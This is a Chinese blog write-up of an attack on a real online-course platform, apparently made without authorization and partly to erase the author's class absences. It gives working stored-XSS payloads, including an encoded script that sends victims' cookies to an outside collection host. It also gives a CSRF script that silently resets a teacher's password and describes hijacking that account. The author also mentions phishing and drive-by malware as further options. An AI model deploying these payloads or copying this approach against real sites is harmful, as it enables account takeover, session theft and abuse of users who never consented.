Csrf+Xss组合拳

作者: 蚁景科技 | 来源:发表于2020-07-27 14:53 被阅读0次

    各位大师傅,第一次在合天发文章,请多多关照

    今年年初的疫情确实有点突然,打乱了上半年的所有计划(本来是校内大佬带我拿奖的时刻,没了,学长毕业了,就剩下我这个小垃圾带着下一届去搞ctf了,难啊,难啊)

    0x01

    这个站是我疫情时候在线上网课的平台,本着对信息安全做贡献的目的下去做的这个渗透工作(咳咳,这个平台有个签到,每次签到我都在与大脑作斗争,最后争不过大脑,选择了睡觉,最后旷课太多,不搞要挂科。)

    0x02

    这个站简单的先用手机看了下,这种网课站我感觉xss比较好寻找一些,所以我找到的都是一些存储型xss,

    先看一下第一个基本没鸟用的xss

    用户个人资料处

    更改姓名

    Payload为alert()

    (这个地方字数有限制,最长为24个字符)

    保存,刷新页面

    成功显示弹窗

    经测试

    1.学号

    2.身份

    3.学校

    4.姓名处均存在存储型xss并能够弹窗

    确实这个地方感觉确实没什么用,字数有限制,顶多就是在老师打开页面的时候弹出一个弹框,没鸟用啊,回头想想自己旷课的次数,md,拼了

    0x03

    发布新话题

    测试发现

    将上面全部代码进行复制

    在下面编辑框中进行黏贴,直接解析为html

    内容处可以执行html代码

    测试发布时

    发布后访问此话题

    成功xss

    进行下一步测试

    进行获取cookies

    在<script src=””>

    这个payload无法执行

    不知道是服务器问题还是什么

    换用其他payload

    in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};"

    output = ""

    for c in in_str:

        output += "&#" + str(ord(c))

    print("<svg><script>eval("" + output + "")</script>")

     payload为

    在进行测试

    eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")

    看看xss平台

    成功获取

    也可以使用其他的利用方法

    跳转钓鱼网站

    在页面内这是html表单进行钓鱼

    或者js挂马等等

    严重程度

    中危

    But。。

    部分Cookeis设置了http-only,拿不到老师的全部cookie。

    0x04

    继续测试

    更改密码处没有验证原先密码

    根据前面找到的xss构建payload

    ```

    <script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script>

    <script> 

    function loginSubmit() {

            $.ajax({

                url: "https://www.xxxxxxxx.com/UserApi/updatePassword", 

                type: "post",

                data: {"newpassword": "123456789"},

                dataType: "json",

                success: function (data) {

                    if (data.status == "1") {    

                    } else {

                    }

                },

            });

        }

    loginSubmit()

    </script> 

    ```

    那么要去受害者要有兴趣去访问这个payload

    作业处,受害者(例如老师,获取更大权限)老师要去更改作业

    找到在作业留言处存在存储型xss

    在此处插入payload

    查看效果

    现在密码为123456789

    登录正常

    将payload的密码改为123456789.

    我用的手机端(pc端似乎要抓包,懒)

    提交成功

    教师端进入批阅

    老师的管理界面

    教师端进入批阅

    抓包看到

    访问时,直接更新了密码

    退出

    密码为12345679时错误

    密码为123456789.时成功

    更改密码处存在csrf

    联想到刚刚的存储型xss,一个csrf+xss的组合拳漏洞

    0x05

    最后到底有没有拿到老师权限呢

    最高星星数6个

    怕被发现。真带劲,哈哈

    搞完手工,打包提交,以上漏洞至今为止已修复。

    声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。

    实验推荐--DoraBox之CSRF

    (通过DoraBox靶场系列闯关练习,理解跨站请求伪造漏洞的原理与利用过程。)

    相关文章

      网友评论

        本文标题:Csrf+Xss组合拳

        本文链接:https://www.haomeiwen.com/subject/itpzlktx.html